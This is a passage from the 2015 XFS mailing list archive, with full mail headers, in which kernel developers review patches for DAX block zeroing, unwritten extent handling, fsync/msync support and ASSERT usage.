> > The count param to sb_issue_zeroout() is a sector_t and we're passing an > FSB. "sector_t" does not mean the function takes parameters in units of sectors. It's the only variable that you can guarantee will be sized correctly to the kernel's configured block device capacity support. Indeed: static inline int sb_issue_zeroout(struct super_block *sb, sector_t block, sector_t nr_blocks, gfp_t gfp_mask) { return blkdev_issue_zeroout(sb->s_bdev, block << (sb->s_blocksize_bits - 9), nr_blocks << (sb->s_blocksize_bits - 9), gfp_mask, true); } sb_issue_zeroout() takes a block device offset and length in filesystem block size units and converts them back to sectors to pass it to the block layer. Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Thu Oct 29 18:38:01 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 946247CBF for ; Thu, 29 Oct 2015 18:38:01 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 83432304053 for ; Thu, 29 Oct 2015 16:38:01 -0700 (PDT) X-ASG-Debug-ID: 1446161877-04cb6c7b85117930001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id j8HRuE1OtDk3P6hK for ; Thu, 29 Oct 2015 16:37:58 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: A2AWCACCrDJWXQLd03ZegzaBQqovAQEBAQEBBosshSWGCYYTAgIBAQKBNE0BAQEBAQEHgQSENQEBAQQnExwjEAgDDgcDCSUPBSUDBxoTiC/EfgELASAZhheFRYUEhDwFlkONHYFhh2OSeoR7KjSFfgEBAQ Received: from ppp118-211-221-2.lns20.syd4.internode.on.net (HELO dastard) ([118.211.221.2]) by ipmail06.adl2.internode.on.net with ESMTP; 30 Oct 2015 10:07:57 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1ZrwlY-00035Y-I0; Fri, 30 Oct 2015 10:37:56 +1100 Date: Fri, 30 Oct 2015 10:37:56 +1100 From: Dave Chinner To: Brian Foster Cc: xfs@oss.sgi.com, ross.zwisler@linux.intel.com, jack@suse.cz Subject: Re: [PATCH 3/6] xfs: Don't use unwritten extents for DAX Message-ID: <20151029233756.GS19199@dastard> X-ASG-Orig-Subj: Re: [PATCH 3/6] xfs: Don't use unwritten extents for DAX References: <1445225238-30413-1-git-send-email-david@fromorbit.com> <1445225238-30413-4-git-send-email-david@fromorbit.com> <20151029142950.GE11663@bfoster.bfoster> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20151029142950.GE11663@bfoster.bfoster> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1446161878 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23938 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Thu, Oct 29, 2015 at 10:29:50AM -0400, Brian Foster wrote: > On Mon, Oct 19, 2015 at 02:27:15PM +1100, Dave Chinner wrote: > > From: Dave Chinner > > > > DAX has a page fault serialisation problem with block allocation. > > Because it allows concurrent page faults and does not have a page > > lock to serialise faults to the same page, it can get two concurrent > > faults to the page that race. > > > > When two read faults race, this isn't a huge problem as the data > > underlying the page is not changing and so "detect and drop" works > > just fine. The issues are to do with write faults. > > > > When two write faults occur, we serialise block allocation in > > get_blocks() so only one faul will allocate the extent. It will, > > however, be marked as an unwritten extent, and that is where the > > problem lies - the DAX fault code cannot differentiate between a > > block that was just allocated and a block that was preallocated and > > needs zeroing. The result is that both write faults end up zeroing > > the block and attempting to convert it back to written. > > > > The problem is that the first fault can zero and convert before the > > second fault starts zeroing, resulting in the zeroing for the second > > fault overwriting the data that the first fault wrote with zeros. > > The second fault then attempts to convert the unwritten extent, > > which is then a no-op because it's already written. Data loss occurs > > as a result of this race. > > > > Because there is no sane locking construct in the page fault code > > that we can use for serialisation across the page faults, we need to > > ensure block allocation and zeroing occurs atomically in the > > filesystem. This means we can still take concurrent page faults and > > the only time they will serialise is in the filesystem > > mapping/allocation callback. The page fault code will always see > > written, initialised extents, so we will be able to remove the > > unwritten extent handling from the DAX code when all filesystems are > > converted. > > > > Signed-off-by: Dave Chinner > > --- > > fs/dax.c | 5 +++++ > > fs/xfs/xfs_aops.c | 13 +++++++++---- > > fs/xfs/xfs_iomap.c | 21 ++++++++++++++++++++- > > 3 files changed, 34 insertions(+), 5 deletions(-) > > > ... > > diff --git a/fs/xfs/xfs_iomap.c b/fs/xfs/xfs_iomap.c > > index c3cb5a5..f4f5b43 100644 > > --- a/fs/xfs/xfs_iomap.c > > +++ b/fs/xfs/xfs_iomap.c > ... > > tp = xfs_trans_alloc(mp, XFS_TRANS_DIOSTRAT); > > + > > + /* > > + * For DAX, we do not allocate unwritten extents, but instead we zero > > + * the block before we commit the transaction. Ideally we'd like to do > > + * this outside the transaction context, but if we commit and then crash > > + * we may not have zeroed the blocks and this will be exposed on > > + * recovery of the allocation. Hence we must zero before commit. > > + * Further, if we are mapping unwritten extents here, we need to zero > > + * and convert them to written so that we don't need an unwritten extent > > + * callback for DAX. This also means that we need to be able to dip into > > + * the reserve block pool if there is no space left but we need to do > > + * unwritten extent conversion. > > + */ > > + if (IS_DAX(VFS_I(ip))) { > > + bmapi_flags = XFS_BMAPI_CONVERT | XFS_BMAPI_ZERO; > > + tp->t_flags |= XFS_TRANS_RESERVE; > > + } > > Am I following the commit log description correctly in that block > zeroing is only required for DAX faults? Do we zero blocks for DAX DIO > as well to be consistent, or is that also required (because it looks > like we still have end_io completion for dio writes anyways)? DAX DIO will do the zeroing rather than using unwritten extents, too. But we still have DIO IO completion as that needs to do file size updates. Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Thu Oct 29 18:39:35 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id B25E67CBF for ; Thu, 29 Oct 2015 18:39:35 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 9438230404E for ; Thu, 29 Oct 2015 16:39:35 -0700 (PDT) X-ASG-Debug-ID: 1446161972-04bdf0330c127ed0001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id EtrcaXFowJ2Eurb1 for ; Thu, 29 Oct 2015 16:39:33 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: A2AWCADmrTJWXQLd03ZegzaBQqovAQEBAQEBBosshSWGCYYTAgIBAQKBNE0BAQEBAQEHgQSENQEBAQQ6HCMQCAMOBwMJJQ8FJQMHGhOIL8UDAQEIAiEZhheFRYlAAQSWQ40dgWGSC4hShHsqNIV+AQEB Received: from ppp118-211-221-2.lns20.syd4.internode.on.net (HELO dastard) ([118.211.221.2]) by ipmail06.adl2.internode.on.net with ESMTP; 30 Oct 2015 10:09:13 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1Zrwml-00035l-Vi; Fri, 30 Oct 2015 10:39:12 +1100 Date: Fri, 30 Oct 2015 10:39:11 +1100 From: Dave Chinner To: Brian Foster Cc: xfs@oss.sgi.com, ross.zwisler@linux.intel.com, jack@suse.cz Subject: Re: [PATCH 4/6] xfs: DAX does not use IO completion callbacks Message-ID: <20151029233911.GT19199@dastard> X-ASG-Orig-Subj: Re: [PATCH 4/6] xfs: DAX does not use IO completion callbacks References: <1445225238-30413-1-git-send-email-david@fromorbit.com> <1445225238-30413-5-git-send-email-david@fromorbit.com> <20151029142957.GF11663@bfoster.bfoster> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20151029142957.GF11663@bfoster.bfoster> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1446161972 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23938 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Thu, Oct 29, 2015 at 10:29:57AM -0400, Brian Foster wrote: > On Mon, Oct 19, 2015 at 02:27:16PM +1100, Dave Chinner wrote: > > From: Dave Chinner > > > > For DAX, we are now doing block zeroing and > > we are updating the file size during allocation. This means we no > > longer need an IO completion callback to do these things, so remove > > the completion callbacks from the __dax_fault and __dax_mkwrite > > calls. > > > > Where do we "update the file size during allocation?" Stale comment. For page faults, we'll never update the file size (segv if fault is beyond EOF), and DIO still does IO completion based file size updates. Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Thu Oct 29 22:55:42 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id A222C7F3F for ; Thu, 29 Oct 2015 22:55:42 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 8FD6330406B for ; Thu, 29 Oct 2015 20:55:39 -0700 (PDT) X-ASG-Debug-ID: 1446177336-04cbb0660e131a10001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id ZsQ2KfU35opPERhE for ; Thu, 29 Oct 2015 20:55:37 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: A2AOBwAA6TJWXQLd03ZegztTb4Jdp1IBAQQGiy2LMBcMhXAEAgKBO00BAQEBAQEHRECENQEBAQMBAQIkExwjBQsIAxgJJQ8FFBEDBxoTG4gNBw7EWAEBAQEBBQIBIBmGF4VFgnGBVoR5BZZDhR2FHoJigimaFYR7KjQBhDSBSQEBAQ Received: from ppp118-211-221-2.lns20.syd4.internode.on.net (HELO dastard) ([118.211.221.2]) by ipmail05.adl6.internode.on.net with ESMTP; 30 Oct 2015 14:25:33 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1Zs0mr-0003Sj-Hr; Fri, 30 Oct 2015 14:55:33 +1100 Date: Fri, 30 Oct 2015 14:55:33 +1100 From: Dave Chinner To: Ross Zwisler Cc: linux-kernel@vger.kernel.org, "H. Peter Anvin" , "J. Bruce Fields" , Theodore Ts'o , Alexander Viro , Andreas Dilger , Dan Williams , Ingo Molnar , Jan Kara , Jeff Layton , Matthew Wilcox , Thomas Gleixner , linux-ext4@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-mm@kvack.org, linux-nvdimm@lists.01.org, x86@kernel.org, xfs@oss.sgi.com, Andrew Morton , Matthew Wilcox Subject: Re: [RFC 00/11] DAX fsynx/msync support Message-ID: <20151030035533.GU19199@dastard> X-ASG-Orig-Subj: Re: [RFC 00/11] DAX fsynx/msync support References: <1446149535-16200-1-git-send-email-ross.zwisler@linux.intel.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1446149535-16200-1-git-send-email-ross.zwisler@linux.intel.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1446177336 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-ASG-Whitelist: Body =?UTF-8?B?aHR0cDovL21hcmNcLmluZm8vXD8=?= X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Thu, Oct 29, 2015 at 02:12:04PM -0600, Ross Zwisler wrote: > This patch series adds support for fsync/msync to DAX. > > Patches 1 through 8 add various utilities that the DAX code will eventually > need, and the DAX code itself is added by patch 9. Patches 10 and 11 are > filesystem changes that are needed after the DAX code is added, but these > patches may change slightly as the filesystem fault handling for DAX is > being modified ([1] and [2]). > > I've marked this series as RFC because I'm still testing, but I wanted to > get this out there so people would see the direction I was going and > hopefully comment on any big red flags sooner rather than later. > > I realize that we are getting pretty dang close to the v4.4 merge window, > but I think that if we can get this reviewed and working it's a much better > solution than the "big hammer" approach that blindly flushes entire PMEM > namespaces [3]. We need the "big hammer" regardless of fsync. If REQ_FLUSH and REQ_FUA don't do the right thing when it comes to ordering journal writes against other IO operations, then the filesystems are not crash safe. i.e. we need REQ_FLUSH/REQ_FUA to commit all outstanding changes back to stable storage, just like they do for existing storage.... > [1] http://oss.sgi.com/archives/xfs/2015-10/msg00523.html > [2] http://marc.info/?l=linux-ext4&m=144550211312472&w=2 > [3] https://lists.01.org/pipermail/linux-nvdimm/2015-October/002614.html > > Ross Zwisler (11): > pmem: add wb_cache_pmem() to the PMEM API > mm: add pmd_mkclean() > pmem: enable REQ_FLUSH handling > dax: support dirty DAX entries in radix tree > mm: add follow_pte_pmd() > mm: add pgoff_mkclean() > mm: add find_get_entries_tag() > fs: add get_block() to struct inode_operations I don't think this is the right thing to do - it propagates the use of bufferheads as a mapping structure into places where we do not want bufferheads. We've recently added a similar block mapping interface to the export operations structure for PNFS and that uses a "struct iomap" which is far more suited to being an inode operation this. We have plans to move this to the inode operations for various reasons. e.g: multipage write, adding interfaces that support proper mapping of holes, etc: https://www.redhat.com/archives/cluster-devel/2014-October/msg00167.html So after many years of saying no to moving getblocks to the inode operations it seems like the wrong thing to do now considering I want to convert all the DAX code to use iomaps while only 2/3 filesystems are supported... > dax: add support for fsync/sync Why put the dax_flush_mapping() in do_writepages()? Why not call it directly from the filesystem ->fsync() implementations where a getblocks callback could also be provided? Cheers, Dave. -- Dave Chinner david@fromorbit.com From bfoster@redhat.com Fri Oct 30 06:39:57 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 62B587F3F for ; Fri, 30 Oct 2015 06:39:57 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 4CC9030404E for ; Fri, 30 Oct 2015 04:39:54 -0700 (PDT) X-ASG-Debug-ID: 1446205192-04cbb0660d13e2f0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id Qcnj97NNo1prDJFE (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 30 Oct 2015 04:39:53 -0700 (PDT) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx13.intmail.prod.int.phx2.redhat.com (int-mx13.intmail.prod.int.phx2.redhat.com [10.5.11.26]) by mx1.redhat.com (Postfix) with ESMTPS id BCA9219CBFE; Fri, 30 Oct 2015 11:39:52 +0000 (UTC) Received: from bfoster.bfoster (dhcp-41-105.bos.redhat.com [10.18.41.105]) by int-mx13.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9UBdqlR029542; Fri, 30 Oct 2015 07:39:52 -0400 Received: by bfoster.bfoster (Postfix, from userid 1000) id 855C91201AB; Fri, 30 Oct 2015 07:39:51 -0400 (EDT) Date: Fri, 30 Oct 2015 07:39:51 -0400 From: Brian Foster To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH 1/8] cleanup: get rid of ASSERT Message-ID: <20151030113950.GA54905@bfoster.bfoster> X-ASG-Orig-Subj: Re: [PATCH 1/8] cleanup: get rid of ASSERT References: <1444959901-31319-1-git-send-email-david@fromorbit.com> <1444959901-31319-2-git-send-email-david@fromorbit.com> <20151028115121.GA50552@bfoster.bfoster> <20151028223234.GQ8773@dastard> <20151029121333.GA11663@bfoster.bfoster> <20151029222609.GC10656@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20151029222609.GC10656@dastard> User-Agent: Mutt/1.5.23 (2014-03-12) X-Scanned-By: MIMEDefang 2.68 on 10.5.11.26 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1446205193 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Fri, Oct 30, 2015 at 09:26:09AM +1100, Dave Chinner wrote: > On Thu, Oct 29, 2015 at 08:13:34AM -0400, Brian Foster wrote: ... > > Then why not try to undef/redef in xfsdump or just rename the #define > > that's used? I don't care too much either way, I just don't follow why > > there's a need to change behavior at all to fix a naming conflict. > > > > Are we saying that ASSERT() probably shouldn't exist in userspace (incl. > > xfsprogs) and we should always use the generic assert() mechanism? Or > > are we saying ASSERT() can exist in userspace, but it's purely a libxfs > > thing and should not be exported beyond that (e.g., libxfs can use > > ASSERT(), actual userspace tools like repair, etc. should eventually use > > assert())..? > > Precisely this. ASSERT is used in the kernel side libxfs code, and > so only exists in userspace to support the libxfs code in userspace. > We don't want the libxfs code in userspace aborting on corrupt > structures or invalid situations, because we need to > handle/parse/repair such brokenness. IOWS, the ASSERTs in libxfs/ in > userspace need to be turned off for userspace to work correctly. > That's what the DEBUG define in libxfs does. > Indeed. > That leads to the xfsprogs userspace still needing an assert > facility - that comes from using assert() and NDEBUG to turn it off > and on. > > Essentially, ASSERT is internal to libxfs and should not be exported > anywhere. assert() should used outside libxfs in xfsprogs and other > XFS code bases. > Makes sense to me. Thanks for the explanation. It would be good if the commit log description included some of this info. Otherwise, for the series: Acked-by: Brian Foster > Cheers, > > Dave. > -- > Dave Chinner > david@fromorbit.com > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs From bfoster@redhat.com Fri Oct 30 07:36:18 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 617F57F3F for ; Fri, 30 Oct 2015 07:36:18 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 30856304053 for ; Fri, 30 Oct 2015 05:36:14 -0700 (PDT) X-ASG-Debug-ID: 1446208570-04bdf0330a13f380001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id jQTPOE2khEQerSw1 (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 30 Oct 2015 05:36:10 -0700 (PDT) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx14.intmail.prod.int.phx2.redhat.com (int-mx14.intmail.prod.int.phx2.redhat.com [10.5.11.27]) by mx1.redhat.com (Postfix) with ESMTPS id E0B453679D6; Fri, 30 Oct 2015 12:36:09 +0000 (UTC) Received: from bfoster.bfoster (dhcp-41-105.bos.redhat.com [10.18.41.105]) by int-mx14.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9UCa9N2003399; Fri, 30 Oct 2015 08:36:09 -0400 Received: by bfoster.bfoster (Postfix, from userid 1000) id 81A7A1201AB; Fri, 30 Oct 2015 08:36:08 -0400 (EDT) Date: Fri, 30 Oct 2015 08:36:08 -0400 From: Brian Foster To: Dave Chinner Cc: ross.zwisler@linux.intel.com, jack@suse.cz, xfs@oss.sgi.com Subject: Re: [PATCH 2/6] xfs: introduce BMAPI_ZERO for allocating zeroed extents Message-ID: <20151030123608.GB54905@bfoster.bfoster> X-ASG-Orig-Subj: Re: [PATCH 2/6] xfs: introduce BMAPI_ZERO for allocating zeroed extents References: <1445225238-30413-1-git-send-email-david@fromorbit.com> <1445225238-30413-3-git-send-email-david@fromorbit.com> <20151029142757.GD11663@bfoster.bfoster> <20151029233548.GR19199@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20151029233548.GR19199@dastard> User-Agent: Mutt/1.5.23 (2014-03-12) X-Scanned-By: MIMEDefang 2.68 on 10.5.11.27 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1446208570 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Fri, Oct 30, 2015 at 10:35:48AM +1100, Dave Chinner wrote: > On Thu, Oct 29, 2015 at 10:27:58AM -0400, Brian Foster wrote: > > On Mon, Oct 19, 2015 at 02:27:14PM +1100, Dave Chinner wrote: > > > From: Dave Chinner > > > ... > > > I suspect there's no use case to pass XFS_BMAPI_ZERO for new unwritten > > allocations, but if the flag is passed, doesn't this cause duplicate > > block zeroing? > > It probably would, but.... > > > Perhaps we should drop the zero flag from 'flags' after > > allocation in xfs_bmapi_write() just to ensure this executes in one > > place or the other..? > > I think that if we hit this, we're doing something else wrong - why > would we allocate unwritten extents and still need to initialise > them to zero? > No idea, really (as noted above). ;) It just looked like it could be invoked twice per bmapi call, nothing else I saw prevented it, and it looks easily avoidable. Maybe somebody down the road decides to turn on block zeroing unconditionally in the block allocator due to hardware support or some such. Or maybe we'll never hit the problem. The point is that this code will inevitably be modified/enhanced down the road and nobody is going to remember that the zeroing is invoked twice in a particular prealloc codepath. If we don't want to mess with the flags, how about an assert somewhere so it's explicit the bmapi implementation doesn't expect this combination of flags? > > > + xfs_daddr_t sector = xfs_fsb_to_db(ip, start_fsb); > > > + sector_t block = XFS_BB_TO_FSBT(mp, sector); > > > + ssize_t size = XFS_FSB_TO_B(mp, count_fsb); > > > + > > > + if (IS_DAX(VFS_I(ip))) > > > + return dax_clear_blocks(VFS_I(ip), block, size); > > > + > > > + /* > > > + * let the block layer decide on the fastest method of > > > + * implementing the zeroing. > > > + */ > > > + return sb_issue_zeroout(mp->m_super, block, count_fsb, GFP_NOFS); > > > > The count param to sb_issue_zeroout() is a sector_t and we're passing an > > FSB. > > "sector_t" does not mean the function takes parameters in units of > sectors. It's the only variable that you can guarantee will be sized > correctly to the kernel's configured block device capacity > support. Indeed: > > static inline int sb_issue_zeroout(struct super_block *sb, sector_t block, > sector_t nr_blocks, gfp_t gfp_mask) > { > return blkdev_issue_zeroout(sb->s_bdev, > block << (sb->s_blocksize_bits - 9), > nr_blocks << (sb->s_blocksize_bits - 9), > gfp_mask, true); > } > > sb_issue_zeroout() takes a block device offset and length in > filesystem block size units and converts them back to sectors to > pass it to the block layer. > Ah, I see. I missed the conversion that was being done there via the sb helper. Brian > Cheers, > > Dave. > -- > Dave Chinner > david@fromorbit.com > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs From bfoster@redhat.com Fri Oct 30 07:37:00 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 62B7E7F53 for ; Fri, 30 Oct 2015 07:37:00 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 5183F30405F for ; Fri, 30 Oct 2015 05:37:00 -0700 (PDT) X-ASG-Debug-ID: 1446208618-04cbb0660d140040001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id fb8ROxQ7nw7AIdYT (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 30 Oct 2015 05:36:59 -0700 (PDT) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx09.intmail.prod.int.phx2.redhat.com (int-mx09.intmail.prod.int.phx2.redhat.com [10.5.11.22]) by mx1.redhat.com (Postfix) with ESMTPS id BA5D3A12D0; Fri, 30 Oct 2015 12:36:58 +0000 (UTC) Received: from bfoster.bfoster (dhcp-41-105.bos.redhat.com [10.18.41.105]) by int-mx09.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9UCawKm028025; Fri, 30 Oct 2015 08:36:58 -0400 Received: by bfoster.bfoster (Postfix, from userid 1000) id 9430C1201AB; Fri, 30 Oct 2015 08:36:57 -0400 (EDT) Date: Fri, 30 Oct 2015 08:36:57 -0400 From: Brian Foster To: Dave Chinner Cc: ross.zwisler@linux.intel.com, jack@suse.cz, xfs@oss.sgi.com Subject: Re: [PATCH 3/6] xfs: Don't use unwritten extents for DAX Message-ID: <20151030123657.GC54905@bfoster.bfoster> X-ASG-Orig-Subj: Re: [PATCH 3/6] xfs: Don't use unwritten extents for DAX References: <1445225238-30413-1-git-send-email-david@fromorbit.com> <1445225238-30413-4-git-send-email-david@fromorbit.com> <20151029142950.GE11663@bfoster.bfoster> <20151029233756.GS19199@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20151029233756.GS19199@dastard> User-Agent: Mutt/1.5.23 (2014-03-12) X-Scanned-By: MIMEDefang 2.68 on 10.5.11.22 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1446208619 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Fri, Oct 30, 2015 at 10:37:56AM +1100, Dave Chinner wrote: > On Thu, Oct 29, 2015 at 10:29:50AM -0400, Brian Foster wrote: > > On Mon, Oct 19, 2015 at 02:27:15PM +1100, Dave Chinner wrote: > > > From: Dave Chinner > > > ... > > > + /* > > > + * For DAX, we do not allocate unwritten extents, but instead we zero > > > + * the block before we commit the transaction. Ideally we'd like to do > > > + * this outside the transaction context, but if we commit and then crash > > > + * we may not have zeroed the blocks and this will be exposed on > > > + * recovery of the allocation. Hence we must zero before commit. > > > + * Further, if we are mapping unwritten extents here, we need to zero > > > + * and convert them to written so that we don't need an unwritten extent > > > + * callback for DAX. This also means that we need to be able to dip into > > > + * the reserve block pool if there is no space left but we need to do > > > + * unwritten extent conversion. > > > + */ > > > + if (IS_DAX(VFS_I(ip))) { > > > + bmapi_flags = XFS_BMAPI_CONVERT | XFS_BMAPI_ZERO; > > > + tp->t_flags |= XFS_TRANS_RESERVE; > > > + } > > > > Am I following the commit log description correctly in that block > > zeroing is only required for DAX faults? Do we zero blocks for DAX DIO > > as well to be consistent, or is that also required (because it looks > > like we still have end_io completion for dio writes anyways)? > > DAX DIO will do the zeroing rather than using unwritten extents, > too. But we still have DIO IO completion as that needs to do file > size updates. > Right, my question is: is the DAX DIO zeroing required to avoid the races described as the purpose for this patch, or is this just here as a simplification? In other words, why not do block zeroing only for DAX faults and not DAX/DIO? I ask because my understanding is the 